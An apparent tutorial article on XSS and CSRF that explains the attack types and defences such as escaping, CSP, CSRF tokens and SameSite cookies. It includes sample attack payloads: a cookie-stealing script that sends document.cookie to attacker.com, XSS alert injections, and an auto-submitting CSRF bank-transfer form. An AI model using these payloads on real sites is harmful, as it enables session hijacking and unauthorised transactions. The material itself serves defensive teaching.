The Client-Side Threat Landscape

Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) are two of the most persistent and dangerous vulnerabilities in web applications. Despite decades of awareness, they continue to appear in critical systems — from social media platforms to banking applications. The reason is simple: they exploit the fundamental trust relationship between browsers and web applications.

While server-side vulnerabilities like SQL injection get significant attention, client-side attacks are equally devastating. XSS can steal session cookies, keylog user input, and deface websites. CSRF can perform unauthorized actions on behalf of authenticated users without their knowledge. Understanding these attacks is essential for every web developer.

Understanding XSS: Stored, Reflected, and DOM-Based

XSS occurs when an application includes untrusted data in a web page without proper validation or escaping. The attacker injects malicious scripts that execute in the victim's browser, leveraging the trust the user has in the website. There are three primary types of XSS, each with distinct attack vectors and mitigation strategies.

Stored XSS (Persistent XSS)

Stored XSS is the most dangerous variant. The malicious script is permanently stored on the target server — in a database, comment field, or user profile. Every user who views the infected page executes the attacker's code. This makes stored XSS a mass-exploitation vulnerability.

// Attacker submits this as a comment:
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

// When any user views the comment page, their cookies are sent to the attacker
// The attacker can now hijack their session

Reflected XSS (Non-Persistent XSS)

Reflected XSS occurs when malicious input is immediately returned by the server in the response. The attacker crafts a malicious URL containing the payload and tricks the victim into clicking it — typically through phishing emails or social engineering.

// Vulnerable search endpoint
// URL: https://example.com/search?q=<script>alert('XSS')</script>

// Server responds with:
<h1>Search results for: <script>alert('XSS')</script></h1>

// The script executes in the victim's browser

DOM-Based XSS

DOM-based XSS is a client-side variant where the attack payload is executed as a result of modifying the DOM environment in the victim's browser. The server never sees the malicious data — the vulnerability exists entirely in client-side JavaScript.

// VULNERABLE: Directly writing user input to DOM
const hash = window.location.hash;
document.write(hash.substring(1)); // User controls this!

// Attack URL: https://example.com#<img src=x onerror=alert('XSS')>

// SECURE: Sanitize before DOM insertion
const hash = window.location.hash;
const sanitized = DOMPurify.sanitize(hash.substring(1));
document.getElementById('content').textContent = sanitized;

Real-World XSS Exploitation Techniques

XSS isn't just about popping alert boxes. Sophisticated attackers use XSS for session hijacking, credential theft, keylogging, cryptocurrency wallet draining, and as a stepping stone to more severe attacks.

Defending Against XSS: A Multi-Layered Approach

Preventing XSS requires defense in depth. No single control is sufficient — you need a combination of output encoding, input validation, Content Security Policy, and modern framework protections.

1. Output Encoding (Context-Aware Escaping)

The most effective XSS defense is proper output encoding. Different contexts require different encoding strategies:

// HTML Context
const safeHTML = escapeHtml(userInput);
element.innerHTML = safeHTML;

// JavaScript Context
const safeJS = JSON.stringify(userInput);
scriptElement.textContent = `const data = ${safeJS};`;

// URL Context
const safeURL = encodeURIComponent(userInput);
link.href = `https://example.com/search?q=${safeURL}`;

// CSS Context
const safeCSS = escapeCSS(userInput);
element.style.cssText = `color: ${safeCSS};`;

2. Content Security Policy (CSP)

CSP is a browser security mechanism that restricts the sources from which content can be loaded. A well-configured CSP can neutralize XSS even if an injection vulnerability exists.

Content-Security-Policy: 
  default-src 'self';
  script-src 'self' 'nonce-random123';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';

3. Modern Framework Protections

Modern frameworks like React, Vue, and Angular provide built-in XSS protections by default. However, dangerous patterns still exist:

// SAFE: React automatically escapes this
return <div>{userInput}</div>;

// DANGEROUS: Bypasses React's escaping
return <div dangerouslySetInnerHTML={{__html: userInput}} />;

// DANGEROUS: URL javascript: protocol
return <a href={userInput}>Link</a>; // If userInput = "javascript:alert(1)"

// SAFE: Validate URLs
const isSafeURL = (url) => {
    const parsed = new URL(url, window.location.origin);
    return ['http:', 'https:'].includes(parsed.protocol);
};

CSRF: The Silent Request Forger

Cross-Site Request Forgery (CSRF) tricks authenticated users into performing unwanted actions on a web application. Unlike XSS, CSRF doesn't inject malicious code — it exploits the browser's automatic cookie-sending behavior.

How CSRF Works

When you log into a website, the browser stores a session cookie. For every subsequent request to that domain, the browser automatically includes the cookie. CSRF exploits this by crafting a malicious request from an attacker's site that the victim's browser sends with their valid session cookie.

<!-- Attacker's malicious page -->
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf-form').submit();</script>

<!-- Victim visits attacker's page while logged into bank.com -->
<!-- The browser sends the request WITH the victim's session cookie -->
<!-- $10,000 is transferred without the victim's knowledge -->

CSRF Protection Strategies and Implementation

1. CSRF Tokens (Synchronizer Token Pattern)

The most reliable CSRF defense is embedding a unique, unpredictable token in every state-changing request. The server validates that the token in the request matches the token associated with the user's session.

const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });

// Apply to all state-changing routes
app.use(csrfProtection);

// Include token in forms
app.get('/form', (req, res) => {
    res.render('form', { csrfToken: req.csrfToken() });
});

// Validate token automatically
app.post('/transfer', csrfProtection, (req, res) => {
    // Token is validated by middleware
    processTransfer(req.body);
});

2. SameSite Cookies

Modern browsers support the SameSite cookie attribute, which prevents cookies from being sent in cross-site requests. Setting SameSite=Strict or SameSite=Lax provides strong CSRF protection with minimal implementation effort.

res.cookie('sessionId', sessionId, {
    httpOnly: true,      // Prevent JavaScript access
    secure: true,        // HTTPS only
    sameSite: 'strict',  // Never send in cross-site requests
    maxAge: 3600000      // 1 hour
});

3. Double Submit Cookie Pattern

For stateless APIs, the double submit cookie pattern sends the token both as a cookie and in the request body/header. The server verifies they match, leveraging the fact that attackers cannot read cookies from other domains.

Combined Defense: Content Security Policy and Beyond

The most robust defense combines multiple controls:

Testing for XSS and CSRF in Your Applications

Manual testing is essential, but automated tools can catch many vulnerabilities before they reach production:

Conclusion: Client-Side Security is Application Security

XSS and CSRF aren't niche vulnerabilities — they're fundamental flaws that affect virtually every web application. The good news is that they're entirely preventable with modern development practices. Frameworks provide strong defaults, CSP offers a powerful safety net, and CSRF tokens remain the gold standard for request integrity.

The key is vigilance. Every time you render user input, ask: "Is this properly escaped?" Every time you handle a state-changing request, ask: "Is this protected against CSRF?" Security isn't a feature you add at the end — it's a discipline you practice with every line of code.